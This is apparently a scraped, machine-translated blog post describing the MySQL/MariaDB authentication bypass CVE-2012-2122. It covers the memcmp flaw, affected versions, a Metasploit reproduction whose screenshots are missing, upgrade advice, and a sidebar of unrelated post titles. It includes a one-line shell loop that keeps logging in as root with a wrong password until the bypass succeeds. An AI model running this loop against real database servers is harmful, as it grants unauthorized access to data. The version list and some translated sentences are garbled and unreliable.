当前位置:网站首页>MySQL authentication bypass vulnerability (cve-2012-2122)
MySQL authentication bypass vulnerability (cve-2012-2122)
2022-07-06 22:39:00 【OOOOOK. two thousand and twenty-one】
Vulnerability profile
When the connection MariaDB/MySQL when , The password entered will be compared with the expected correct password , Due to improper handling , Can lead to even memcmp () Returns a nonzero value , Also can make MySQL Think two passwords are the same . That is to say, as long as you know the user name , Try again and again to log in directly SQL database .
Affected version
- MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not. MySQL
- versions from 5.1.63, 5.5.24, 5.6.6 are not.
Reasons for appearance
This vulnerability is due to memcmp Function only returns -128 To 127 Values in range , Optimized on some platforms , Cause even memcmp() Returns a nonzero value , Also can make MySQL Think two passwords are the same . about 256 You can succeed once .
Loophole recurrence
Scan open ports

use MSF attack



EXP
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done
Repair
upgrade MySQL edition ,( Those lower than the following versions must be upgraded to the latest version :5.0 Version below 5.0.96;5.1 Version below 5.1.63;5.5 Version below 5.5.25) stop it mysql, Back up the entire mysql, The installation directory ,data Catalog ( This step is only to prevent escalation
边栏推荐
- OpenCV VideoCapture. Get() parameter details
- Mysql database basic operations DML
- pytorch_ Yolox pruning [with code]
- HDU 5077 NAND (violent tabulation)
- UDP programming
- 2022-07-05 use TPCC to conduct sub query test on stonedb
- 2022-07-05 stonedb的子查询处理解析耗时分析
- (十八)LCD1602实验
- Aardio - does not declare the method of directly passing float values
- 【雅思口语】安娜口语学习记录part1
猜你喜欢
随机推荐
uniapp滑动到一定的高度后固定某个元素到顶部效果demo(整理)
Is there any requirement for the value after the case keyword?
[leetcode] 19. Delete the penultimate node of the linked list
UDP programming
Rust knowledge mind map XMIND
2022-07-05 stonedb sub query processing parsing time analysis
[IELTS speaking] Anna's oral learning record part1
MySQL ---- first acquaintance with MySQL
Sizeof keyword
Project duplicate template
rust知识思维导图xmind
signed、unsigned关键字
pytorch_YOLOX剪枝【附代码】
CocosCreator+TypeScripts自己写一个对象池
枚举与#define 宏的区别
如何实现文字动画效果
go多样化定时任务通用实现与封装
Unity3d minigame unity webgl transform plug-in converts wechat games to use dlopen, you need to use embedded 's problem
return 关键字
MySQL----初识MySQL



![pytorch_ Yolox pruning [with code]](/img/98/31d6258635ce48ac53819d0ca12d1d.jpg)





